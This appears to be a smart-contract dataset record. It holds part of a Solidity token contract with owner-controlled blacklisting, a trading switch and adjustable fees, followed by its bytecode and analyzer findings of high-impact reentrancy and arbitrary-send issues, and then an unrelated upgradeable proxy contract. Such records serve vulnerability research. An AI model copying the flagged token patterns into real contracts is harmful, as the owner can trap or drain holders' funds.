uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount > 5000000 * 10**9 ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055a578063dd62ed3e1461057a578063ea1644d5146105c0578063f2fde38b146105e057600080fd5b8063a2a957bb146104d5578063a9059cbb146104f5578063bfd7928414610515578063c3c8cd801461054557600080fd5b80638f70ccf7116100d15780638f70ccf7146104515780638f9a55c01461047157806395d89b411461048757806398a5c315146104b557600080fd5b80637d1db4a5146103f05780637f2feddc146104065780638da5cb5b1461043357600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038657806370a082311461039b578063715018a6146103bb57806374010ece146103d057600080fd5b8063313ce5671461030a57806349bd5a5e146103265780636b999053146103465780636d8aa8f81461036657600080fd5b80631694505e116101ab5780631694505e1461027557806318160ddd146102ad57806323b872dd146102d45780632fd689e3146102f457600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024557600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611972565b610600565b005b34801561020a57600080fd5b5060408051808201909152600c81526b115b1bdb9cc814995d9bdb1d60a21b60208201525b60405161023c9190611a37565b60405180910390f35b34801561025157600080fd5b50610265610260366004611a8c565b61069f565b604051901515815260200161023c565b34801561028157600080fd5b50601354610295906001600160a01b031681565b6040516001600160a01b03909116815260200161023c565b3480156102b957600080fd5b5069d3c21bcecceda10000005b60405190815260200161023c565b3480156102e057600080fd5b506102656102ef366004611ab8565b6106b6565b34801561030057600080fd5b506102c660175481565b34801561031657600080fd5b50604051600c815260200161023c565b34801561033257600080fd5b50601454610295906001600160a01b031681565b34801561035257600080fd5b506101fc610361366004611af9565b61071f565b34801561037257600080fd5b506101fc610381366004611b26565b61076a565b34801561039257600080fd5b506101fc6107b2565b3480156103a757600080fd5b506102c66103b6366004611af9565b6107df565b3480156103c757600080fd5b506101fc610801565b3480156103dc57600080fd5b506101fc6103eb366004611b41565b610875565b3480156103fc57600080fd5b506102c660155481565b34801561041257600080fd5b506102c6610421366004611af9565b60116020526000908152604090205481565b34801561043f57600080fd5b506000546001600160a01b0316610295565b34801561045d57600080fd5b506101fc61046c366004611b26565b6108b7565b34801561047d57600080fd5b506102c660165481565b34801561049357600080fd5b50604080518082019091526005815264195593d31560da1b602082015261022f565b3480156104c157600080fd5b506101fc6104d0366004611b41565b610916565b3480156104e157600080fd5b506101fc6104f0366004611b5a565b610945565b34801561050157600080fd5b50610265610510366004611a8c565b61099f565b34801561052157600080fd5b50610265610530366004611af9565b60106020526000908152604090205460ff1681565b34801561055157600080fd5b506101fc6109ac565b34801561056657600080fd5b506101fc610575366004611b8c565b6109e2565b34801561058657600080fd5b506102c6610595366004611c10565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cc57600080fd5b506101fc6105db366004611b41565b610a83565b3480156105ec57600080fd5b506101fc6105fb366004611af9565b610ab2565b6000546001600160a01b031633146106335760405162461bcd60e51b815260040161062a90611c49565b60405180910390fd5b60005b815181101561069b5760016010600084848151811061065757610657611c7e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069381611caa565b915050610636565b5050565b60006106ac338484610b9c565b5060015b92915050565b60006106c3848484610cc0565b610715843361071085604051806060016040528060288152602001611dc4602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111fc565b610b9c565b5060019392505050565b6000546001600160a01b031633146107495760405162461bcd60e51b815260040161062a90611c49565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107945760405162461bcd60e51b815260040161062a90611c49565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107d257600080fd5b476107dc81611236565b50565b6001600160a01b0381166000908152600260205260408120546106b090611270565b6000546001600160a01b0316331461082b5760405162461bcd60e51b815260040161062a90611c49565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461089f5760405162461bcd60e51b815260040161062a90611c49565b6611c37937e0800081116108b257600080fd5b601555565b6000546001600160a01b031633146108e15760405162461bcd60e51b815260040161062a90611c49565b601454600160a01b900460ff16156108f857600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109405760405162461bcd60e51b815260040161062a90611c49565b601755565b6000546001600160a01b0316331461096f5760405162461bcd60e51b815260040161062a90611c49565b600954821115806109825750600b548111155b61098b57600080fd5b600893909355600a91909155600955600b55565b60006106ac338484610cc0565b6012546001600160a01b0316336001600160a01b0316146109cc57600080fd5b60006109d7306107df565b90506107dc816112f4565b6000546001600160a01b03163314610a0c5760405162461bcd60e51b815260040161062a90611c49565b60005b82811015610a7d578160056000868685818110610a2e57610a2e611c7e565b9050602002016020810190610a439190611af9565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7581611caa565b915050610a0f565b50505050565b6000546001600160a01b03163314610aad5760405162461bcd60e51b815260040161062a90611c49565b601655565b6000546001600160a01b03163314610adc5760405162461bcd60e51b815260040161062a90611c49565b6001600160a01b038116610b415760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bfe5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062a565b6001600160a01b038216610c5f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d245760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062a565b6001600160a01b038216610d865760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062a565b60008111610de85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062a565b6000546001600160a01b03848116911614801590610e1457506000546001600160a01b03838116911614155b156110f557601454600160a01b900460ff16610ead576000546001600160a01b03848116911614610ead5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062a565b601554811115610eff5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062a565b6001600160a01b03831660009081526010602052604090205460ff16158015610f4157506001600160a01b03821660009081526010602052604090205460ff16155b610f995760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062a565b6014546001600160a01b0383811691161461101e5760165481610fbb846107df565b610fc59190611cc5565b1061101e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062a565b6000611029306107df565b6017546015549192508210159082106110425760155491505b8080156110595750601454600160a81b900460ff16155b801561107357506014546001600160a01b03868116911614155b80156110885750601454600160b01b900460ff165b80156110ad57506001600160a01b03851660009081526005602052604090205460ff16155b80156110d257506001600160a01b03841660009081526005602052604090205460ff16155b156110f2576110e0826112f4565b4780156110f0576110f047611236565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113757506001600160a01b03831660009081526005602052604090205460ff165b8061116957506014546001600160a01b0385811691161480159061116957506014546001600160a01b03848116911614155b15611176575060006111f0565b6014546001600160a01b0385811691161480156111a157506013546001600160a01b03848116911614155b156111b357600854600c55600954600d555b6014546001600160a01b0384811691161480156111de57506013546001600160a01b03858116911614155b156111f057600a54600c55600b54600d555b610a7d8484848461147d565b600081848411156112205760405162461bcd60e51b815260040161062a9190611a37565b50600061122d8486611cdd565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069b573d6000803e3d6000fd5b60006006548211156112d75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062a565b60006112e16114ab565b90506112ed83826114ce565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133c5761133c611c7e565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561139057600080fd5b505afa1580156113a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c89190611cf4565b816001815181106113db576113db611c7e565b6001600160a01b0392831660209182029290920101526013546114019130911684610b9c565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061143a908590600090869030904290600401611d11565b600060405180830381600087803b15801561145457600080fd5b505af1158015611468573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b8061148a5761148a611510565b61149584848461153e565b80610a7d57610a7d600e54600c55600f54600d55565b60008060006114b8611635565b90925090506114c782826114ce565b9250505090565b60006112ed83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611679565b600c541580156115205750600d54155b1561152757565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611550876116a7565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115829087611704565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115b19086611746565b6001600160a01b0389166000908152600260205260409020556115d3816117a5565b6115dd84836117ef565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162291815260200190565b60405180910390a3505050505050505050565b600654600090819069d3c21bcecceda100000061165282826114ce565b8210156116705750506006549269d3c21bcecceda100000092509050565b90939092509050565b6000818361169a5760405162461bcd60e51b815260040161062a9190611a37565b50600061122d8486611d82565b60008060008060008060008060006116c48a600c54600d54611813565b92509250925060006116d46114ab565b905060008060006116e78e878787611868565b919e509c509a509598509396509194505050505091939550919395565b60006112ed83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111fc565b6000806117538385611cc5565b9050838110156112ed5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062a565b60006117af6114ab565b905060006117bd83836118b8565b306000908152600260205260409020549091506117da9082611746565b30600090815260026020526040902055505050565b6006546117fc9083611704565b60065560075461180c9082611746565b6007555050565b600080808061182d606461182789896118b8565b906114ce565b9050600061184060646118278a896118b8565b90506000611858826118528b86611704565b90611704565b9992985090965090945050505050565b600080808061187788866118b8565b9050600061188588876118b8565b9050600061189388886118b8565b905060006118a5826118528686611704565b939b939a50919850919650505050505050565b6000826118c7575060006106b0565b60006118d38385611da4565b9050826118e08583611d82565b146112ed5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062a565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107dc57600080fd5b803561196d8161194d565b919050565b6000602080838503121561198557600080fd5b823567ffffffffffffffff8082111561199d57600080fd5b818501915085601f8301126119b157600080fd5b8135818111156119c3576119c3611937565b8060051b604051601f19603f830116810181811085821117156119e8576119e8611937565b604052918252848201925083810185019188831115611a0657600080fd5b938501935b82851015611a2b57611a1c85611962565b84529385019392850192611a0b565b98975050505050505050565b600060208083528351808285015260005b81811015611a6457858101830151858201604001528201611a48565b81811115611a76576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9f57600080fd5b8235611aaa8161194d565b946020939093013593505050565b600080600060608486031215611acd57600080fd5b8335611ad88161194d565b92506020840135611ae88161194d565b929592945050506040919091013590565b600060208284031215611b0b57600080fd5b81356112ed8161194d565b8035801515811461196d57600080fd5b600060208284031215611b3857600080fd5b6112ed82611b16565b600060208284031215611b5357600080fd5b5035919050565b60008060008060808587031215611b7057600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611ba157600080fd5b833567ffffffffffffffff80821115611bb957600080fd5b818601915086601f830112611bcd57600080fd5b813581811115611bdc57600080fd5b8760208260051b8501011115611bf157600080fd5b602092830195509350611c079186019050611b16565b90509250925092565b60008060408385031215611c2357600080fd5b8235611c2e8161194d565b91506020830135611c3e8161194d565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cbe57611cbe611c94565b5060010190565b60008219821115611cd857611cd8611c94565b500190565b600082821015611cef57611cef611c94565b500390565b600060208284031215611d0657600080fd5b81516112ed8161194d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d615784516001600160a01b031683529383019391830191600101611d3c565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9f57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dbe57611dbe611c94565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fd3c2be2b0e80e5c5ebfce37ffd79f4a680b692ec31f23683cae454240f76ec564736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,263
0x46262af08d6b795efb08b4a6e486208f889e0c60
/** *Submitted for verification at Etherscan.io on 2020-12-22 */ // SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback() external payable { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive() external payable { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual {} /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); _setImplementation(_logic); if (_data.length > 0) { (bool success, ) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal view override returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor( address _logic, address _admin, bytes memory _data ) public payable UpgradeabilityProxy(_logic, _data) { assert(ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin { _upgradeTo(newImplementation); (bool success, ) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal virtual override { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } }
